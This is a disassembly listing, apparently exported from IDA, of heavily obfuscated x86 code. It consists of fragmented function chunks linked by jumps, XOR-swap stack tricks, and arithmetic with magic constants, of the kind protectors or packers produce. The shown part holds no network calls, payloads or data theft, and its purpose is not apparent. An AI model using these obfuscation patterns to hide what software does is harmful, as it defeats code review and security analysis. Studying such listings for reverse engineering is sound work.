; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A68AD:				; CODE XREF: sub_5A6BBC-934Cj
		jmp	loc_59E306
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A68B2:				; CODE XREF: sub_5992DA+15114j
		and	edi, 2FA85694h
		jo	loc_59E2BE
		jmp	loc_5AC342
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A68C3:				; CODE XREF: sub_59F1F3-4460j
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		xor	edx, [esp-4+arg_0]
		pop	esp
		push	5835h
		jmp	loc_59A8B2
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5A68D7:				; CODE XREF: sub_5A809B-1FD4j
		xchg	ecx, [esp-8+arg_0]
		pop	esp
		push	esp
		jmp	loc_5A01CF
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------


loc_5A68E1:				; CODE XREF: sdfs____:0059E508j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		push	3F580A39h
		jmp	loc_5A7F4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6905:				; CODE XREF: sub_5AA2D1-F81Ej
		sub	ch, al
		pop	ax
		jmp	loc_5998EA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A690E:				; CODE XREF: sub_5A7BA0+34C9j
		mov	ebp, 0AE5AE5E0h
		push	esi
		mov	esi, 6D2D181Bh
		jmp	loc_59ECEF
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A691E:				; CODE XREF: sub_5A2E28-8142j
		xor	[esp-8+arg_8], edi
		push	[esp-8+arg_4]
		jmp	loc_5A8E55
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A692A:				; CODE XREF: sub_5A118F+8D56j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A8236
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6937:				; CODE XREF: sub_59D6B8+8567j
		pop	ecx
		sub	ebx, 1E833AEDh
		sub	ebx, eax
		add	ebx, 1E833AEDh
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		push	eax
		push	116B4BAAh
		pop	eax
		not	eax
		jmp	loc_5A64F2
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5A695A	proc near		; CODE XREF: sub_5A039A+Bj
		push	ebx
		mov	ebx, esp
		jmp	loc_5A4474
sub_5A695A	endp

; ---------------------------------------------------------------------------


loc_5A6962:				; CODE XREF: sdfs____:005A224Fj
		mov	esi, esp
		push	3D83h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5A2D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5A6976:				; CODE XREF: sub_5AD213-B4B2j
		push	esp
		jmp	loc_5AB1F8
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5A697C:				; CODE XREF: sub_5A4E04+89FBj
		add	ebx, 60127A62h
		jg	loc_5A9FB2
		dec	ebx
		and	ebx, 2F4552D6h
		neg	ebx
		jns	sub_5A2D20


loc_5A6997:				; CODE XREF: sdfs____:005AD259j
		push	edi
		mov	edi, ebx
		jmp	loc_59E9A6
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A699F:				; CODE XREF: sub_59D18A+BEE5j
		add	[esp+10h+var_8], ebp
		mov	ebp, [esp+10h+var_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		jmp	loc_5A25B9
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A69C0:				; CODE XREF: sub_5A0FFF-C9Bj
		mov	dx, word ptr [esp-0Ch+arg_6+2]
		push	697Eh
		jmp	loc_59D7F0
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A69CE:				; CODE XREF: sub_59A7E7+13D10j
		push	esp
		push	[esp+10h+var_10]
		jmp	loc_59E18D
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A69D7:				; CODE XREF: sub_59D6B8+E983j
		sub	edi, ebx
		mov	ebx, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_5A6D03
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A69F1:				; CODE XREF: sub_5AA2D1-A387j
		push	891h
		mov	[esp+0Ch+var_C], ecx
		push	edx
		mov	edx, 4026487Eh
		mov	ecx, 4AEA9F1Eh
		sub	ecx, edx
		jmp	loc_59C152
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6A0B:				; CODE XREF: sub_5992DA+139E9j
		mov	edi, 5D1244ABh
		push	esi
		mov	esi, 5D1204ABh
		push	esi
		sub	[esp+4+var_6+2], 120D0B11h
		pop	ebp
		jmp	loc_5A8F47
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6A24:				; CODE XREF: sub_59D6B8+7B32j
		sub	edx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A7961
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A6A31:				; CODE XREF: sub_5A7BA0-D6Cj
		add	esp, 4
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		push	ebp
		jmp	loc_5A6105
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A6A46:				; CODE XREF: sub_5A118F-28Bj
		jbe	loc_5A915A
		add	ah, 2Ah
		mov	bh, ah
		pop	eax
		xor	bh, 67h
		shr	bh, 5
		jmp	loc_5A4545
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2A15


loc_5A6A5D:				; CODE XREF: sub_5A2A15+20E1j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A2A15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6A62:				; CODE XREF: sub_5AA2D1-537Fj
		mov	ax, 0FFFFh
		jmp	loc_59A01F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5A6A6B:				; CODE XREF: sub_5AFA26-14EE9j
		add	edi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		jmp	loc_5AC0C1
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A6A7E:				; CODE XREF: sub_5A477C:loc_59C573j
		sub	eax, 7D451FA3h
		jb	sub_5A0278
		push	ebx
		jmp	loc_5A24F5
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
		pop	esp
		xor	ecx, 1A7A565Eh
		mov	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6A98:				; CODE XREF: sub_5AA2D1+5504j
					; sub_5AA2D1+558Cj
		add	ebx, esi
		push	[esp+0Ah+var_C+2]
		pop	esi
		add	esp, 4
		xor	ebx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], ebx
		xor	ebx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebp
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esi
		jmp	loc_5AF9EE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4886


loc_5A6AC4:				; CODE XREF: sub_5A4886-4C89j
		add	ebx, eax
		add	ebx, 4DAC51A1h
		jmp	loc_59B1DD
; END OF FUNCTION CHUNK	FOR sub_5A4886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A6AD1:				; CODE XREF: sub_59EE3E+EC21j
		sub	ebx, eax
		jmp	loc_5A06E4
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A6AD8:				; CODE XREF: sub_5A18F6+45CEj
					; sdfs____:005AC540j ...
		mov	dl, bl
		mov	ch, dl
		pop	edx
		mov	ebx, [esp+4+var_4]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		jmp	sub_5AEC1C
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------


loc_5A6AF8:				; CODE XREF: sdfs____:005AEA7Cj
		mov	ecx, ebp
		pop	ebp
		shl	ecx, 3
		push	esi
		mov	esi, 57883C57h
		add	esi, 1
		jmp	loc_59CCB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03E8


loc_5A6B0F:				; CODE XREF: sub_5B03E8-4E44j
		mov	ecx, [esp+0]
		jmp	loc_5AC0D7
; END OF FUNCTION CHUNK	FOR sub_5B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_5A6B17:				; CODE XREF: sub_5AAE5E-EE5Fj
		push	152F333Eh
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_5B0447
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6B27:				; CODE XREF: sub_5992DA+AF0Bj
		mov	[esp+14h+var_14], ebp
		jmp	loc_5AC4E7
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_5A6B2F:				; CODE XREF: sub_59F1C3-17F6j
		pop	edx
		neg	eax
		push	0
		sub	[esp+8+var_8], eax
		pop	eax
		add	eax, 36FB53AEh
		jmp	loc_59FB73
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6B45:				; CODE XREF: sub_5992DA+18Bj
		mov	eax, 0F92555Bh
		neg	eax
		jmp	loc_5A617C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A6B51:				; CODE XREF: sub_5ADD33-14797j
		sub	eax, esi
		jmp	loc_5A1493
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6B58:				; CODE XREF: sub_5AA2D1-CD00j
		sub	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 1BBE1CCFh
		jmp	loc_5A3FB0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5A6B66:				; CODE XREF: sub_5A5824+2CFAj
		add	ebx, edi
		jmp	loc_59A6A0
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_5A6B6D:				; CODE XREF: sub_59DB82+45BBj
		mov	ebp, [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_5A9CF9
; END OF FUNCTION CHUNK	FOR sub_59DB82

; =============== S U B	R O U T	I N E =======================================



sub_5A6B87	proc near		; CODE XREF: sub_5B02C0-5740j
					; sub_59D6B8+E493j
		push	ebx
		mov	bx, 6745h
		neg	bx
		or	bx, 6FD6h
		jmp	loc_59B9B2
sub_5A6B87	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A6B99:				; CODE XREF: sub_5996E4+6C2j
		push	dword ptr [edi+eax*4]
		push	[esp+4+var_4]
		pop	eax
		jmp	sub_59A94C
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A6BA5:				; CODE XREF: sub_59A26C+468Cj
		pop	dword ptr [esp+0]
		pop	esp
		push	esp
		pop	[esp-4+arg_0]
		add	[esp-8+arg_4], 4
		push	[esp-8+arg_4]
		jmp	loc_59E07E
; END OF FUNCTION CHUNK	FOR sub_59A26C

; =============== S U B	R O U T	I N E =======================================



sub_5A6BBC	proc near		; CODE XREF: sub_59C979:loc_5A67D9j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599237 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00599D7F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A97B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ACEB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059AE5A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059BAEA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059BE27 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059C02B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D866 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059DD5C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059E306 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E5F7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EA03 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059EBC3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F0D5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F675 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FAC6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059FE0B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059FE35 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0F09 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1201 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1A1D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2450 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A28CE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2A43 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2FAE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A36C9 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A3C86 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A4034 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A44B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4BB7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4E4C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5FD5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A61D6 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A6277 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6384 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6595 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A68AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6D72 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A71CD SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A78D7 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A7A58 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A8191 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A8750 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A9109 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA24E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA46A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB37E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB72A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005ABB93 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ABCB5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ABD29 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ABDF5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AC029 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC4CA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ACDDA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AD090 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 005ADA78 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005ADAEF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ADE3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE17D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AE1E4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE754 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AECE8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AFE47 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005B0065 SIZE 0000002A BYTES

		sub	esp, 2
		mov	word ptr [esp+4+var_4],	cx
		not	byte ptr [esp+4+var_4]
		mov	cx, word ptr [esp+4+var_4]
		push	esi
		jmp	loc_5A6277
sub_5A6BBC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A6BD3:				; CODE XREF: sub_5A5EFF+1B1Aj
		inc	ebp
		js	loc_59E586
		add	ebp, 1
		jmp	loc_5AFA7E
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6BE6:				; CODE XREF: sub_5AA2D1-A7EFj
		shl	ebp, 8
		jnp	loc_5A138D
		push	edx
		jmp	loc_5A302B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A6BF5:				; CODE XREF: sub_5A0FFF-12D7j
		push	edx
		jmp	loc_5A28BD
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A6BFB:				; CODE XREF: sub_59EE3E+1B88j
		shr	ebp, 5
		xor	ebp, 2093C4F8h
		jmp	loc_5AB8F8
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D5EA


loc_5A6C09:				; CODE XREF: sub_59D5EA+22j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A7D56
; END OF FUNCTION CHUNK	FOR sub_59D5EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A6C19:				; CODE XREF: sub_5A16B8+ADB0j
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A0B88
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A6C21:				; CODE XREF: sub_59C979+B65Dj
		add	[esp-8+arg_6+2], ecx
		jmp	loc_5AA392
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4886


loc_5A6C2A:				; CODE XREF: sub_5A4886+B684j
		pop	edx
		jmp	loc_59BC9F
; END OF FUNCTION CHUNK	FOR sub_5A4886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A6C30:				; CODE XREF: sub_59A479:loc_5A783Fj
		xor	eax, 4FEC8778h
		jmp	loc_59AB74
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6C3A:				; CODE XREF: sub_5992DA+BD4j
		pop	edx
		and	edx, ecx
		pop	ecx
		or	edx, 132B451Bh
		xor	edx, 0B6F2F2Eh
		or	eax, edx
		jmp	loc_59BF63
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF46F


loc_5A6C51:				; CODE XREF: sub_5AF46F-10EB9j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5A0B76
; END OF FUNCTION CHUNK	FOR sub_5AF46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F3AE


loc_5A6C59:				; CODE XREF: sub_59F3AE+3j
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		jmp	sub_5AA26A
; END OF FUNCTION CHUNK	FOR sub_59F3AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CC30


loc_5A6C63:				; CODE XREF: sub_59CC30+129B5j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59CC30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1531


loc_5A6C68:				; CODE XREF: sub_5A1531+81DBj
		sub	edx, ebp
		pop	ebp
		mov	ecx, edx
		pop	edx
		add	ebx, ecx
		pop	ecx
		add	ebx, 4B7F1F29h
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		shr	word ptr [esp-0Ch+arg_8], cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A1531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6C90:				; CODE XREF: sub_5AA2D1+4A8j
		sub	ebx, 201D3344h
		push	2F10h
		mov	[esp-28h+arg_24], ebp
		jmp	sub_59DB82
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6CA3:				; CODE XREF: sub_5992DA+DC3Fj
		push	eax
		mov	eax, 8FB5E1Dh
		xor	eax, 2A44396Ch
		mov	ebx, eax
		pop	eax
		push	0E30h
		mov	[esp+20h+var_22+2], edi
		mov	edi, 3275187Eh
		add	edi, 35A5531Eh
		jmp	loc_5A2A89
; ---------------------------------------------------------------------------


loc_5A6CC9:				; CODE XREF: sub_5992DA+5E1Dj
		add	esp, 4
		jmp	loc_59C6BF
; ---------------------------------------------------------------------------


loc_5A6CD4:				; CODE XREF: sub_5992DA+EF9Dj
		sub	esi, 144264DDh
		jge	loc_5A815D
		shl	esi, 1
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		not	[esp+24h+var_26+2]
		pop	esi
		add	esi, 319F6607h
		mov	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 2BBE10ADh
		jmp	loc_5AB7DE
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6D03:				; CODE XREF: sub_59D6B8+9334j
		sub	edi, edx
		push	edx
		mov	edx, 7FEC7434h
		sub	edi, 7D7C3674h
		sub	edi, 60AC1B6Fh
		add	edi, edx
		add	edi, 60AC1B6Fh
		add	edi, 7D7C3674h
		mov	edx, [esp+0]
		add	esp, 4
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		and	eax, edi
		pop	edi
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, 1CFE7424h
		sub	[esp-4+arg_4], edx
		pop	edx
		jmp	loc_5A624B
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6D47:				; CODE XREF: sdfs____:005A45C0j
					; sub_5AA2D1-688j
		add	esi, 4
		xchg	esi, [esp-28h+arg_24]
		pop	esp
		add	edi, 4
		push	ebx
		jmp	loc_5ACFB7
; ---------------------------------------------------------------------------


loc_5A6D5D:				; CODE XREF: sub_5AA2D1+215Cj
		mov	ebp, [esp-28h+arg_24]
		push	edi
		mov	edi, esp
		jmp	loc_5A3CB3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6D68:				; CODE XREF: sub_5A2E28-8AFAj
					; sub_59D6B8+5300j
		push	ecx
		push	[esp+0Ch+var_8]
		jmp	loc_5A5291
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A6D72:				; CODE XREF: sub_5A6BBC-5CB2j
					; sub_5A7BEB-4A9Aj ...
		mov	edx, 69FC6FE2h
		sub	edx, 79023FE5h
		shl	edx, 6
		jmp	loc_5B0065
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5A6D85:				; CODE XREF: sub_5A5B27-3B1Dj
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	eax
		jmp	loc_5A2656
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_5A6DA0:				; CODE XREF: sdfs____:0059EFA2j
					; sub_5AB5A9+2BBj
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	[esp-8+arg_4]
		pop	ecx
		push	ebp
		push	35C2h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_5A8914
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5A6DC5:				; CODE XREF: sub_5AB207-1C63j
		jge	loc_59ADC0
		or	ecx, 311771C6h
		jz	loc_59FB50
		mov	bl, 6Ch
; END OF FUNCTION CHUNK	FOR sub_5AB207
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A6DDA:				; CODE XREF: sub_5A9EC5-AE9Bj
		pop	ebp
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_5A8464
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------


loc_5A6DE6:				; CODE XREF: sdfs____:loc_5A643Cj
		or	dh, 67h
		sub	dh, 5Bh
		sub	dh, 91h
		add	dh, 0ECh
		add	al, 17h
		add	al, dh
		sub	al, 17h
		pop	edx
		jmp	loc_5AC4BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6DFE:				; CODE XREF: sub_59D6B8+11CC2j
					; sub_5AA2D1+5F02j
		add	ebp, 0A396E630h
		sub	edi, ebp
		pop	ebp
		shr	edi, 1
		push	ecx
		jmp	loc_5AB21F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A6E0F:				; CODE XREF: sub_5A7BA0-E4E0j
		add	edx, 67303C21h
		add	edx, esi
		push	ebx
		mov	ebx, 67303C21h
		sub	edx, 3FF16D67h
		sub	edx, ebx
		add	edx, 3FF16D67h
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		mov	esi, [esp+0]
		jmp	loc_5A6A31
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A6E39:				; CODE XREF: sub_59FE51-961j
		sub	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_59A6F1
